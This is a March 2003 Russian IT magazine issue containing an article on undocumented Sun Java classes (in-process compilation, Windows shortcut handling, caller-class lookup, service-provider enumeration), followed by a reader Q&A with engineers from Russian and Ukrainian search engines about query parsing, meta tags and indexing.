Встроенный компилятор JAVA Наверное, наиболее популярная «недокументированная функция» Java – это компиляция исходных текстов Java в .class-файлы. Стандартный компилятор javac, входящий в комплект поставки Sun Java SDK, вполне последовательно реализован фирмой Sun на том же самом языке Java в виде сложной иерархии Java-классов. Утилита javac не более чем тривиальная программа, реализованная в машинном коде для всех операционных систем, предназначенная для запуска виртуальной машины Java и обращения к Javaклассу, выполняющему собственно компиляцию. Если ваша программа нуждается в компиляции исходных текстов на языке Java, то наиболее изящное, хотя и недокументированное решение, – воспользоваться стандартным Java-классом фирмы Sun, реализующим такую компиляцию. На самом деле тут существуют даже два решения – классы sun.tools.javac.Main и com.sun.tools.javac.Main. Оба этих класса находятся в JAR-файле tools.jar, входящем в комплект поставки Sun Java SDK. Этот класс по умолчанию не входит в так называемый Java Runtime Environment (JRE) – набор классов и подкаталогов, который разрешается свободно распространять совместно с вашим Java-приложением для обеспечения его корректного исполнения. Тем не менее лицензионное соглашение фирмы Sun специально разрешает распространять tools.jar в дополнение к JRE совместно с вашими приложениями. Оба класса – sun.tools.javac.Main и com.sun.tools.ja-

№3(4), март 2003

который в случае успеха должен вернуть 0. Самая ценная особенность класса sun.tools.javac.Main – возможность указать в конструкторе выходной поток, который будет использоваться для выдачи сообщений об ошибках компилятора. Это дает возможность легко преобразовать этот поток, скажем, в переменную типа String, с тем чтобы самостоятельно ее проанализировать и показать пользователю. Начиная с версии Sun Java SDK 1.4, объявлен устаревшим класс sun.tools.javac.Main. Попытка явно обратиться к этому классу в программе выдает предупреждение «deprecation warning», а попытка им воспользоваться для компиляции любого класса выдает аналогичное предупреждение в поток ошибок (параметр конструктора p0), если только явно не подавить эти предупреждения ключом «-nowarn» среди параметров метода compile. Для такого предупреждения есть основания. По крайней мере один из сложных классов, разработанных автором на Java версии 1.4 и прекрасно компилирующихся обычными компиляторами, оказалось невозможным скомпилировать с помощью класса sun.tools.ja-vac.Main. Компилятор вполне явно «сошел с ума» и стал «ругаться» на законные языковые конструкции. Второй класс, предназначенный для компиляции исходных текстов на Java – единственный «неустаревший» в версии Sun Java SDK 1.4 – это com.sun.tools.ja-vac.Main. Функционально он эквивалентен классу sun.tools.javac.Main, но несколько менее «многословен» в своем наборе методов. Конструктор этого класса не имеет пара-

47

программирование метров. Методов compile здесь два, причем несинхронизированных, в отличие от sun.tools.javac.Main: public static int compile(String[] p0) public static int compile(String[] p0, PrintWriter p1)

Второй из этих методов позволяет указать поток вывода, который будет использоваться для вывода всех сообщений компилятора, например: new PrintWriter(writer=new CharArrayWriter(),true)

Как и в случае sun.tools.javac.Main, второй метод compile позволяет перенаправить поток сообщений компилятора в собственный буфер, с тем чтобы впоследствии превратить его, скажем, в строку типа String для анализа и визуализации. Класс com.sun.tools.javac.Main в версии Sun Java SDK 1.4 работает существенно быстрее предыдущего класса sun.tools.javac.Main и «справляется» со всеми корректными исходными текстами. Похоже, именно этот класс вызывается изнутри стандартной утилиты javac.

Файлы-ссылки – *.lnk в Microsoft Windows Второй известный автору случай использования недокументированных функций – распознавание файлов-«ярлыков» (shortcuts) Microsoft Windows, обычно имеющих расширение «.lnk». Стандартные средства работы с файлами из пакета java.io.* вообще не слишком хорошо «справляются» с файловой системой современных версий Microsoft Windows. Так, стандартный класс java.io.File «понятия не имеет» о том, что корнем файловой иерархии Windows следует считать «Рабочий стол» («Desktop»), у которого есть такие дочерние узлы, как «Мои документы» («My documents») или «Мой компьютер» («My computer»). Стандартный java.io.File по старинке считает корнем иерархии корневой каталог любого дискового устройства. Чтобы скомпенсировать этот недостаток, не нарушая совместимости с классом File, фирма Sun разработала новый, более современный класс javax.swing.filechooser.FileSystemView. Он активнейшим образом используется стандартным диалогом выбора файла javax.swing.JFileChooser, что отчасти объясняет несколько странный выбор пакета для FileSystemView. К сожалению, даже класс FileSystemView не решает всех проблем, по крайней мере, в имеющейся у меня последней версии Sun Java SDK 1.4.1. Современные версии Windows, в частности Windows XP, предлагают пользователю интерфейс, существенно опирающийся на механизм файлов-«ссылок», или «ярлыков». Такими ссылками являются специальные файлы или даже подкаталоги (обычно, но не обязательно с расширением «.lnk»). Щелчок по ним в стандартном Windows Explorer приводит к перемещению в некоторый другой каталог или открытию некоторого другого файла. Именно так в Windows XP организована работа в локальной сети – компьютеры пользователей-«соседей» представлены маленькими виртуальными

48

подкаталогами-«ссылками» в локальной файловой системе текущего пользователя. Класс FileSystemView не содержит никаких средств для распознавания и обработки подобных ссылок. В результате стандартный диалог выбора файла javax.swing.JFileChooser при использовании в Windows XP производит довольно жалкое впечатление – попытка перейти к компьютерам локальной сети заканчивается позорной неудачей. В действительности фирма Sun уже реализовала механизм обработки файлов-«ссылок» Microsoft Windows. К сожалению, он пока недокументирован. Это класс sun.awt.shell.ShellFolder. Среди прочих методов, имеющих документированные эквиваленты в классе FileSystemView, класс ShellFolder содержит следующие два метода: public abstract boolean isLink(); public abstract ShellFolder getLinkLocation() throws FileNotFoundException

Вот как можно ими пользоваться: public static boolean isLink(File f) { try { return sun.awt.shell.ShellFolder .getShellFolder(f).isLink(); } catch (FileNotFoundException e) { return false; } } public static File getLinkLocation(File f) throws FileNotFoundException { File result= sun.awt.shell.ShellFolder .getShellFolder(f).getLinkLocation(); if (result==null || result.getPath().trim().length()==0) throw new FileNotFoundException( "Incorrect link - it is empty"); return result; }

Применяя эти методы, при желании можно «исправить» поведение стандартного диалога выбора файла javax.swing.JFileChooser, «научив» его правильно работать с современными локальными сетями Microsoft Windows. Конечно, будет гораздо лучше, если фирма Sun в очередной версии Java SDK включит в FileSystemView документированные эквиваленты этих методов и исправит javax.swing.JFileChooser. Существование подобных методов в sun.awt.shell.ShellFolder позволяет на это надеяться. Пока же приходится пользоваться недокументированными методами.

Стек вызовов метода Предположим, нужно получить «трассу стека» – узнать, какой метод исполняется в данный момент, какой метод вызвал этот метод, и т. д. Трудно представить, зачем это может понадобиться, за исключением отладки программы. Однако в реальной практике автору это однажды понадобилось – чтобы выяснить, какие загрузчики классов использовались для загрузки текущего исполняемого кода и всех классов «трассы стека», вызвавших этот код. Даже для этой столь экзотической ситуации фирма Sun предусмотрела документированную технику. Достаточно возбудить фиктивное исключение, тут же «пой-

программирование мать» его и воспользоваться методом объекта-исключения getStackTrace(). Проблема может заключаться в том, что метод getStackTrace() возвращает исключительно «описательную» информацию о классах и методах «трассы стека» – попросту строковые имена классов и методов. Чтобы получить собственно классы, задействованные в данный момент в стеке (объекты типа Class), необходимо вызвать метод Class.forName или эквивалентный. Но что, если текущий загрузчик классов не в состоянии загрузить такие классы просто по имени? Что, если текущий исполняемый код загружен самым обычным традиционным загрузчиком классов, а класс, который его вызвал – это интернетовский class-файл, загруженный и исполняемый совершенно другим специальным загрузчиком? Тогда метод getStackTrace() никак не поможет «добраться» до этого класса (объекта Class) хотя бы для того, чтобы получить ссылку на загрузивший его загрузчик классов. В подобной ситуации автору пришлось прибегнуть к недокументированному классу sun.reflect.Reflection, точнее, к его методу. public static native Class getCallerClass(int p0)

Вот как выглядит использование этого метода: public static Class[] getCurrentStackTraceClasses() { List result= new ArrayList(); for (int count=1; count<10000 /* ñòðàõîâêà íà âñÿêèé ñëó÷àé */; count++) { Class clazz= sun.reflect.Reflection .getCallerClass(count); if (clazz==null) break; result.add(clazz); } return (Class[])result.toArray( new Class[0]); }

это сервис, а конкретный кодек, рассчитанный на определенный формат – это провайдер. Согласно документации, для поддержки сервис-провайдеров нужно положить в подкаталог META-INF/Services некоторого JAR-файла, присутствующего в путях поиска классов Java, специальный текстовый файл. Имя текстового файла должно совпадать с полным именем некоторого сервиса – интерфейса или абстрактного класса, например, «com.pupkin.vasya.My-Service». Этот файл должен содержать (в отдельных строках) список некоторых классов – провайдеров этого сервиса, присутствующих в данном JAR-файле. Тогда система Java сумеет стандартным образом получить этот список в виде набора объектов – экземпляров соответствующих провайдеров. Стандартные библиотеки фирмы Sun примерно так и поступают, когда нужно прочитать изображение или аудиозапись. Почему-то остался недокументированным лишь тот самый стандартный способ, которым извлекается список провайдеров некоторого сервиса. Этот способ следующий: for (Iterator iterator= sun.misc.Service.providers( êëàññ_ñåðâèñà.class); iterator.hasNext(); ) { êëàññ_ñåðâèñà o= (êëàññ_ñåðâèñà) iterator.next(); èñïîëüçóåì o - ýêçåìïëÿð î÷åðåäíîãî ïðîâàéäåðà ñåðâèñà; }

На самом деле для использования такой техники не обязательно создавать JAR-файл – вполне достаточно разместить правильный подкаталог META-INF в одном из каталогов поиска class-файлов.

Провайдеры сервисов Сервис-провайдеры (Service provider) – довольно распространенная и неплохо документированная техника среди стандартных библиотек Java. Тем более удивительно, что фирма Sun оставила недокументированным механизм перечисления сервис-провайдеров – класс sun.misc.Service. Идея сервис-провайдеров вполне очевидна. Допустим, есть некоторый сервис (интерфейс или абстракный класс), предназначенный для использования прикладными программами. Есть также произвольное количество провайдеров – классов, реализующих этот интерфейс или абстрактный класс. Предполагается, что набор провайдеров не фиксирован и может меняться в зависимости от поставки программы. Не исключено, что пользователь может самостоятельно приобрести и инсталлировать в систему дополнительный набор провайдеров какого-либо стандартного сервиса. Типичный пример применения сервис-провайдеров – разнообразные кодеки, позволяющие читать и писать изображения, аудио или видеозаписи различных форматов. Общая процедура чтения или записи объекта –

№3(4), март 2003

49

поиски истины

ЗАДАЙ СВОЙ ВОПРОС РАЗРАБОТЧИКАМ ПОИСКОВЫХ СИСТЕМ

ИТОГИ АКЦИИ, ПРОВОДИМОЙ СОВМЕСТНО С ВСЕРОССИЙСКИМ КЛУБОМ ВЕБ-РАЗРАБОТЧИКОВ С 28 января по 15 февраля 2003 года на сайте нашего журнала (www.samag.ru) и сайте Всероссийского Клуба Веб-разработчиков (www.webclub.ru) любой посетитель мог задать свой наболевший вопрос техническим специалистам поисковых систем – Яндекса, Рамблера, Апорта и Мета-Украины. Все мы время от времени становимся пользователями поисковиков. Надеемся, что эта акция поможет нам лучше понять друг друга. На вопросы читателей отвечают:

50

поиски истины Возможно ли в ближайшем будущем обеспечить разбор запросов (вопросов), заданных естественным языком? Например, «где взять телепрограмму?». Вообще говоря, взаимодействие человека и компьютера на естественном языке, в частности естественная «беседа» с поисковыми системами, является давней, но, к сожалению, до сих пор нереализованной мечтой. Рискуя навлечь на себя гнев многочисленных апологетов систем искусственного интеллекта, скажем также, что несмотря на множество красивых и внешне правильных идей о его, искусственного интеллекта, реализации, вряд ли когда-либо в обозримом будущем он будет реализован. Однако дела обстоят не так плохо, поскольку реализация истинного машинного интеллекта для ответов на большинство вопросов пользователя вовсе не нужна. Нужно лишь приблизительно моделировать поведение разумного компонента при вычислении запроса. Уже сейчас Рамблер пытается распознать, что именно интересует пользователя, а также тематику поискового запроса. Например, при поиске человека по его имени и фамилии (Иван Федоров), запускается специальный модуль, который оптимизирован именно под эту задачу. Аналогичные модули есть для поиска сайтов (www.somesite.ru), обработки запросов, содержащих числа (15 олимпиада), и т. д. Количество и «интеллект» таких модулей мы собираемся наращивать одновременно с совершеноствованием ядра поисковой машины. Недавно мы начали классифицировать поисковые запросы и учитывать результаты классификации при ранжировании. Благодаря такому учету нам удалось сократить в ответах поисковика количество страниц, которые плохо соответствуют запросу. Таким образом, некоторое приближение к ответам на естественно-языковые запросы существует уже сейчас, а необходимость корректно отвечать пользователю, задавшему вопрос «Не могли бы вы, ваши специалисты или ваша поисковая машина помочь мне найти в Интернете или других изданиях цену на дрова?», весьма сомнительна в практическом отношении, хотя, конечно, представляет академический интерес.

ИЛЬЯ СЕГАЛОВИЧ Поисковая система «Яндекс»

АНДРЕЙ КОВАЛЕНКО Поисковая система «Рамблер»

МИХАИЛ КОСТИН Поисковая система «Апорт»

АЛЕКСЕЙ ЧУКСИН Украинская поисковая система «META»

№3(4), март 2003

Сама тема «разбор запросов, заданных на естественном языке» – это не будущее, а прошлое поисковых систем, из тех времен, когда проектировщики поисковиков еще не знали, как же на самом деле массовый пользователь будет пользоваться их детищем. Теперь, когда строка запроса – рабочий инструмент, у полмиллиарда человек иллюзии развеялись. На «естественном языке», точнее на том, что под этим многие понимают – длинные сочинительно-вопросительные конструкции – люди вопросы не задают, не задавали и задавать не будут никогда. Причина проста: людям свойственно экономить свои силы и время. Реальная задача, стоящая перед пользователем: за минимальное число нажатий клавиш на клавиатуре и минимальное количество секунд, (например за 180, как в Кубке Яндекса), получить пертинентный, то есть удовлетворяющий прагматике (!) запроса ответ.

51

поиски истины Таким образом, речь можно вести только о понимании телеграфного стиля общения, рваного синтаксиса и т. д. Это понимание демонстрируют многие поисковые системы. Мы в Яндексе наивно полагаем, что продвинулись дальше многих по данному пункту. Разбор запросов в Яндексе существует уже давно. И люди этим активно пользуются, что видно по прямому эфиру (списку запросов, сделанных за последний час: http://www.yandex.ru/last20.html): оборудование для катания с гор; юридические энциклопедии; master of orion 3; toshiba ноутбук сервис-центр; образец подписи В. Яковлева; расписание поездов из Москвы. Что касается приведенного примера, то по результатам поиска на запрос «где взять телепрограмму?» видно, что запрос не очень удачен: в найденных документах в основном обсуждается, где взять телевизионные программы, чтобы наполнить эфир. Лучше спросить «где взять программу передач?». А еще лучше вопрос уточнить: «программа передач на неделю» или «программа передач ОРТ». А вот 10 первых по популярности запросов со словом «телепрограмма» (то есть то, как люди на самом деле спрашивают): телепрограмма – 4919; телепрограмма на неделю – 345; телепрограмма на сегодня – 139; новогодняя телепрограмма – 89; телепрограмма орт – 85; телепрограмма москва – 83; телепрограмма окна – 79; телепрограмма жди меня – 76; телепрограмма нтв – 67; телепрограмма стань звездой – 54. Если посмотреть результаты поиска по этим запросам на Яндексе, видно, что проблема, поставленная в вопросе, несколько надумана. Если речь идет о более-менее полноценном, хотя бы отдаленно сравнимом с человеческим, понимании любых запросов на естественном языке, то нет. А различные частичные решения возможны и реально применяются в поисковых системах. Такой разбор обеспечить возможно, и работы по обработке запросов на естественном языке ведутся во всем мире. Однако, как показывает анализ статистики запросов, крайне малое число пользователей задает запрос на естественном языке. Пользователю проще написать запрос «телепрограмма» или перейти в соответствующую рубрику каталога, чем писать длинную фразу «где взять телепрограмму». То есть, на наш взгляд, эта проблема сейчас не является первоочередной для повышения качества поиска. Думаем, что актуальной она станет с развитием голосового ввода данных, когда от поисковых систем потребуется обрабатывать запросы, заданные голосом.

52

Сколько человеко-часов в месяц ваша компания тратит на совершенствование алгоритмов поиска (или разработку новых стратегий поиска), и сколько – на сопутствующие «навороты» типа дизайна и дополнительных сервисов? Основные усилия мы тратим именно на совершенствование поиска. Это и улучшение качества поиска и увеличение производительности поисковой системы. На дизайн и дополнительные сервисы ресурсов выделяется меньше. Над совершенствованием алгоритмов индексирования и поиска работает немного специалистов: основных алгоритмистов в поиске примерно пять-шесть человек. Много их и не может быть. Если считать со всей «обвязкой» (например: локальный софт – Сайт, Бар; поисковые проекты – Каталог, Маркет, Новости, Энциклопедии, Картинки, и т. д.), в которой много своих алгоритмических задач, то получается больше: человек 12. Но Яндекс – это не только поиск и не только поисковые проекты, у нас есть еще и Почта, и Народ, и много чего еще. И там тоже масса нетривиальных задач и алгоритмов. Одна борьба с почтовым спамом чего стоит! А всего программистов в Яндексе около 30. Какие архитектурные решения организации баз данных являются ключевыми для достижения таких высочайших скоростей поиска? Как можно более подробно ознакомиться с этими технологиями? Для достижения высокой производительности поисковой системы наряду с архитектурными решениями, минимизирующими ввод-вывод и позволяющими не вычислять величин, без которых можно обойтись, используется также глубокая оптимизация поисковых алгоритмов, так как всего лишь одна лишняя инструкция, исполненная несколько миллионов раз, уже вызовет серьезные задержки. Кроме того, быстрый поиск невозможен без «тонкой» настройки серверов и операционной системы. Так, например, при вычислении поискового запроса данные загружаются с дисков «напрямую», в обход файловой системы. Знание полного списка необходимых для поиска блоков данных и порядка их использования позволяет нагружать дисковые устройства и шину PCI более эффективно, чем это делает сама операционная система. Еще один пример оптимизации – размещение некоторых критичных по времени доступа данных в памяти ядра ОС. При таком размещении скорость обращения к ним существенно растет. Для того чтобы система такого масштаба функционировала 24 часа в сутки 7 дней в неделю, поисковик содержит модули балансировки нагрузки (выдачи более быстрым серверам большего количества запросов), восстановления после сбоев, автоматического мониторинга и т. д.

поиски истины В поисковых системах не используются «архитектурные решения баз данных» (Oracle, Postgres, Informix, Sybase, MySQL и т. д.). Все известные мне отечественные и зарубежные поисковые системы – это вручную написанный софт на низкоуровневом языке программирования. На тему архитектуры робота в той или иной мере можно найти публикации. Больше всего писала на эту тему Альтависта. Архитектура отработки поискового запроса – тайна в гораздо большей степени. Поисковые системы требуют особого подхода к организации хранения данных: стандартные СУБД (Oracle и т. д.) для них не годятся. Этой теме посвящено достаточно большое количество литературы (англоязычной), для начального ознакомления можно рекомендовать известную статью создателей Google: «The Anatomy of a Large-Scale Hypertextual Web Search Engine» (http:// www7.scu.edu.au/programme/fullpapers/1921/com1921.htm). Как правильно составить meta для лучшего нахождения сайта в поисковых системах? Поисковая система Рамблер, разбирая и индексируя документы, игнорирует содержимое тегов <META...>, за исключением тех, которые указывают на использование кодировки, например, UTF-8. Такое решение было продиктовано прежде всего заботой о пользователе, так как нерадивые (или чересчур рьяные) вебмастера считают своим долгом указать в списке ключевых слов каждого созданного документа все известные им наиболее частые слова запросов к поисковым машинам, не имеющие обычно никакого отношения к содержимому документа. Этот вопрос не по адресу. С точки зрения поисковой системы, все усилия вебмастера для «лучшего нахождения сайта» – нежелательный эффект, который необходимо элиминировать. Что касается конкретики, тег meta поисковые системы, чаще всего, в рейтинге совершенно не учитывают. Но ничто не мешает вам поступить так, как советует стандарт HTML: написать в description внятное индивидуальной описание темы страницы, а в keywords – перечислить несколько самых важных слов. Существует довольно распространенное среди новичков заблуждение, что задача хорошего позиционирования сайта в поисковых системах сводится к вставке на страницы неких мета-тегов. На самом деле, грамотное составление мета-тегов keywords и description полезно, но имеет второстепенное значение, некоторые поисковые системы эти теги вообще не учитывают, а те, что учитывают (к ним относится, в частности, Апорт) не придают им большого значения. В связи с тем, что значительное число вебмастеров пытаются фальсифицировать данные в мета-тегах, наша поисковая система не учитывает эти данные при определении порядка выдачи документов.

№3(4), март 2003

На Lycos и Апорте в строке поиска можно задавать казахские слова, используя специфические символы казахского языка и успешно находить необходимую информацию. Большое им спасибо! Почему бы на Рамблере и Яндексе это не реализовать? Понимаю, что под всех подстроиться нелегко, но набирать казахские слова кириллицей не всегда удобно. Тем более, что в Win2000 встроена поддержка казахского языка. Мы планируем реализовать поддержку казахского языка в ближайшем будущем. К сожалению, казахских сайтов еще очень и очень мало, кроме того, до сих пор не устоялся способ представления казахских букв. Есть разные варианты. Но в целом вы правы, мы над этим работаем.

Можно ли таким образом настроить механизм крупнейших поисковых систем, чтобы поиск осуществлялся корректно независимо от того, на каком языке сделан запрос, то есть включить поддержку специфических символов всех языков народов Мира, или хотя бы тех языков, которые используются при создании вебсайтов в настоящее время? В случае каждой отдельно взятой поисковой системы это возможно, однако представляется лишенным смысла заниматься поддержкой специальных символов, скажем, японского языка в российских поисковых системах. Мы планируем решить проблему поиска символов, о которых вы говорите, в ближайшем будущем. Полностью корректным такой поиск быть не может. Ни одна поисковая система не в состоянии разрешить массу неоднозначностей, возникающих в такой многоязычной гетерогенной среде, как Интернет. Тем не менее «крупнейшие» поисковые системы как раз поддерживают относительно корректный поиск по многим языкам и кодировкам. Яндекс тоже двигается в этом направлении. Наша поисковая система поддерживает поиск практически на всех европейских языках. Для украинского, русского и английского поиск идет с учетом словообразования этих языков. Индексируют ли поисковики внешние файлы CSS? Нет, описания стилей не индексируются, так как они содержат не информацию, а правила ее отображения, то есть правила формирования графического оформления страницы. В этих файлах не бывает текстов. Подробности поведения робота – без комментариев. Правильнее говорить в данном случае не об индексировании – индексировать в CSS нечего, а об извле-

53

поиски истины чении информации о форматировании документов, использующих данный CSS. Насколько мне известно, на данный момент ни одна поисковая система этого не делает. Мета не индексирует CSS. Сегодня еще не разработана поисковая система, которая бы удовлетворяла своих пользователей. Существуют лишь подобия идеальной поисковой системы, КПД которых сравним с КПД паровоза: отношение количества найденных страниц, удовлетворяющих пользователя, к общему количеству найденных страниц. Кроме этого, найденные ссылки на страницы, удовлетворяющие пользователя, находятся зачастую не в первых 50-ти. Какие технологии и разработки в сфере поисковых систем будут применяться и внедряться в ближайшие годы? Следует ли ожидать в ближайшем будущем революционного (инновационного) подхода к поиску информации, который бы сделал поиск в Интернете во много раз эффективнее? Сложно ответить кратко на такой длинный список вопросов и утверждений, так что попробуем разобраться по порядку. Бесспорно, удовлетворяющая всех пользователей поисковая система в настоящий момент еще не разработана; более того, можно утверждать, что такая поисковая система не будет разработана никогда, поскольку требования пользователей зачастую противоречат друг другу. Сложно судить, что такое КПД в случае поисковой системы. Качество поиска оценивается двумя величинами – полнотой и точностью. Так вот, и по независимым, и по корпоративным оценкам, проводимым уже несколько лет и Апортом, и Рамблером, и Яндексом – у всех трех поисковиков точность давно перевалила за 90%. Такая оценка производится экспертами на основе анализа нескольких первых страниц выдачи поисковых машин; при этом оценка точности вычисляется как отношение количества соответствующих запросу документов к количеству документов на анализируемом количестве страниц. Так что если фраза «КПД паровоза» означает «13%», то это – или большое заблуждение, или проявление неспособности конкретного пользователя сформулировать запрос. Действительно, нельзя ожидать высокой точности поиска подробностей теракта 11 сентября по запросу «новости» через год после событий. Если речь идет о тех пользователях, которые, не жалея сил, стремятся задать запрос на естественном языке, то их удовлетворить невозможно. Да их никто и не удовлетворяет. Их просто не существует (в статистическом смысле). Остальные полмиллиарда счастливы тому миру открывающихся возможностей, который появился в их компьютере вместе с поисковыми системами. Именно поисковые системы, то есть возможность находить нужную информацию в Интернете, – основной довод в пользу покупки и установки компьютера в последние два-три года в нашей стране. Описывается ситуация, сложившаяся в технологиии ПС на рубеже 98-99 годов. В настоящее время этот кризис в

54

основном преодолен при помощи методов, анализирующих тексты не изолированно, а в социальной сети. Анализ социальной сети – общее место всех современных поисковых систем. Именно в этом направлении следует сейчас ожидать дальнейшего развития. Но уже не революционного. Революция уже случилась. Смена парадигмы произошла только что! Пользуясь словарем книги Томаса Куна «Парадигмы научных революций», можно сказать, что фаза ароморфоза заканчивается прямо на наших глазах. Мы сейчас наблюдаем переход от ароморфоза к идеоадаптации. Интересно отметить, что в пост-революционную фазу в массовом сознании все еще бытуют дореволюционные представления. Хорошо или плохо ищут современные поисковые системы – это вопрос больше риторический, если сравнивать с некой идеальной поисковой системой, то, конечно, получится, что плохо. К счастью, для того чтобы быть полезной пользователям, то есть помогать им найти нужную информацию, поисковая система не обязательно должна быть идеальной, в большинстве случаев с этой задачей поисковики справляются. Революционных изменений в ближайшем будущем не ожидаются, скорее, все-таки эволюционные. На мой субъективный взгляд, в Рунете сейчас существуют три кита в сфере поисковых систем: Яндекс, Рамблер, Апорт. Но к сожалению, не одна из этих ПС не владеет технологией реально качественного поиска информации. Результаты поиска в данных ПС состоят на 95-98% из «мусора», который не представляет для искавших никакого интереса, а лишь стресс, потерю времени и средств. Не собираются ли руководители этих трех ПС объединить свои знания, опыт и усилия, и начать разработку ПС нового поколения, которая бы несомненно была бы более совершенной? Имеет ли вообще место данная идея? Или это по каким-то причинам бесполезно? Вопрос, на наш взгляд, аналогичен вопросу «почему все производители автомобилей не объединятся и не создадут один самый-самый-самый автомобиль на все случаи жизни». Тема «мусора» поднимается повторно. Если речь идет о все том же «понимании естественного языка», то такой прогресс никому не нужен (см. выше). Объединение ради чего? Качество сейчас у всех достойное. Про субъективность оценки качества поиска говорили в предыдущем вопросе, но про 95-98% «мусора» – это очень сильное преувеличение. Что касается объединения усилий, то, если бы такое и было возможно, вряд ли это само по себе позволило бы создать поисковую систему нового поколения. Есть ли какой-то стандарт расширенных запросов для поисковых систем, или каждая система придумывает ее заново? Строгого стандарта, принятого в качестве

поиски истины руководства к действию, не существует. Однако существуют сложившиеся традиции. Так, например, почти все поисковые машины поддерживают булев язык запросов, где используются операторы «И», «ИЛИ», «И_НЕ», а выражения могут быть сгруппированы скобками. При вычислении же запросов без операторов каждая команда разработчиков принимает свои собственные решения. Так, например, Рамблер по запросу в двойных кавычках выполняет поиск на точное вхождение фразы в документ. Есть законодатели мод. Есть подражатели. У предыдущего законодателя (AltaVista) стандарт был достаточно приятным и его многие скопировали. У нынешного (Google) – настолько неэстетичен (в своей оригинальной части), что пока никто не хочет его повторять. Но, вообще-то, я согласен, что отсутствие стандарта – это хотя и не очень большая, но все же проблема для пользователей. Стандарта нет, у каждой системы свой язык. Считаете ли вы возможным в течение 5-7 лет создать поисковую систему нового поколения, которая бы общалась с пользователем не на формальном языке запросов, а на присущем человеку голосе? И является ли данная концепция одним из основных направлений в создании идеальной поисковой системы? Как, по-вашему, должна выглядеть идеальная поисковая система (как в сети Интернет, так и вообще)?

5-7 лет – очень большой срок для информационных технологий. Уже сейчас некоторые автомобили оснащаются речевым интерфейсом к сети Интернет. Поэтому то, о чем вы говорите, вполне реально. Поисковые системы нового поколения уже созданы. Следующая революция по Куну должна случиться лет через двадцать-тридцать. Не очень понятно, при чем тут голос, если имеется в виду распознавание речи, то в этой области я не специалист. Если же речь про понимание естественного языка, то создать систему, полноценно понимающую естественный язык, в указанные сроки нереально. Демоверсию системы, работающей с голосом, можно увидеть по адресу: http://labs1.google.com/gvs.html. Думаем, что в ближайшие 5-7 лет появятся работающие прототипы поисковой системы, отвечающей на естественно-языковые запросы, заданные голосом. Можно ли организовать полнотекстовой поиск в архиве документов на CD? Есть ли программы для индексирования и поиска на CD-архивах? Какие? Да, конечно, есть такие программы – например, Яndex.CD (http://company.yandex.ru/programs/cd/). У нашей компании разработана технология поиска по СD.

№3(4), март 2003

Возможно ли в ближайшее время увидеть нововведение в поисковых системах, заключающееся в добавлении модуля «интеллектуального распознавания» пользователя? То есть в зависимости от того, что обычно ищет пользователь, какие разделы каталога поисковой системы он посещает, поисковая система начинает «делать для себя выводы» о том, что интересует пользователя и к какой тематике он ближе. Таким образом ПС определяет более узкую сферу поиска, что может привести к более высокому качеству работы ПС. Кажется ли вам эта концепция ключевой в дальнейшем совершенствовании поисковых систем? Построение «профиля пользователя», некоторой меры круга его интересов, давно уже представляется весьма заманчивой идеей. Некоторые шаги в этом направлении уже сделаны. Так, Рамблер в ответ на запрос выдает так называемый «список ассоциаций», то есть те запросы, которые искали другие пользователи с подобным кругом интересов. Рейтинг Top100 также позволяет собирать подобную информацию, так как набор посещаемых сайтов характеризует пользователя. Однако в поиске эти данные пока не используются: автомобилист, который ищет «египет», вряд ли интересуется египетским автопромом. Этот модуль уже был реализован (в частности, Альтависта и, кажется, Excite) примерно в 1999 году, заметного эффекта не дал и от него пришлось отказаться. Ключевой не кажется, пользователь явно определяет, что его в данный момент интересует, вводя поисковый запрос. Сужать сферу поиска на основе каких-то других данных было бы вообще неправильно, речь может идти только о повышении приоритета документам, предположительно относящимся к сфере интересов пользователя. Это может быть полезно в некоторых случаях, но радикального повышения качества поиска в целом не обещает. С точки зрения руководителей поисковых систем Яндекс, Рамблер, Апорт: данные системы качественно превосходят своих иностранных собратьев или нет? Мне было бы интересно получить ответ на данный вопрос с двух позиций: а) В отдельности по каждой системе. б) В совокупности, т.е. лучше ли русские поисковые системы (вместе взятые) иностранных (вместе взятых)? (Должны учитываться только качественные характеристики нахождения информации в сети Интернет.) Ответить на такой вопрос можно только в том случае, если есть критерии сравнения. Если речь идет о поиске по российским ресурсам, то, конечно, для этого российские поисковики подходят гораздо лучше. Просто потому, что они изначально для этого проектировались. Поисковик – это многоаспектная система. Счет

55

поиски истины факторов и возможностей идет на многие десятки. И у каждого крупного производителя ПС есть пункты, которыми он гордится, уникальные, лучшие в мире и т. д. и т. п. Есть, конечно, и недочеты, причем у всех без исключения. Я могу долго перечислять наши сильные стороны, но лучше все-таки, чтобы вы прочитали это в независимом обзоре поисковых систем. Какие документы, кроме html, индексирует ваша система? «Плоский» текст. Мы планируем расширить список поддерживаемых форматов.

Rtf, pdf, gif, jpeg, png. Планируем добавить еще ряд форматов. Апорт индексирует только документы в формате html. Документы некоторых других форматов могут быть найдены по тексту ссылок на них из html-документов. В Интернете наша поисковая система индексирует сейчас только html-документы. У нас есть решения, используемые нашими корпоративными заказчиками, позволяющие осуществлять поиск не только по html-документам, но и по документам форматов txt, rtf, doc, dot, xls и другим популярным офисным форматам. Почему Рамблер ведет подсчет найденных ресурсов в документах, а другие поисковые машины – в страницах? Рамблер, в отличие от многих других поисковых машин, умеет «склеивать дубли» одного и того же текста, размещенные по разным адресам Сети, и хранит для таких текстов лишь одну копию. Поэтому при поиске он сообщает не количество найденных страниц, на которых есть слова запроса, а именно количество уникальных текстов, содержащих эти слова. Именно поэтому мы используем при подсчетах термин «документ», а не «страница». По нашим данным, миллион обработанных страниц порождает примерно 700 тысяч уникальных документов. Соответственно, 300 тысяч являются копиями. Каков максимальный размер документа или размер той части, что будет проиндексирована? Есть ли это ограничение? Робот скачивает примерно 200 Кб текста, а программы индексирования обрабатывают первые 65535 слов (знаки препинания считаются словами). Подробности поведения робота – без комментариев.

128 kb. Сейчас у нас стоит ограничение на первые 200 Кб документа.

56

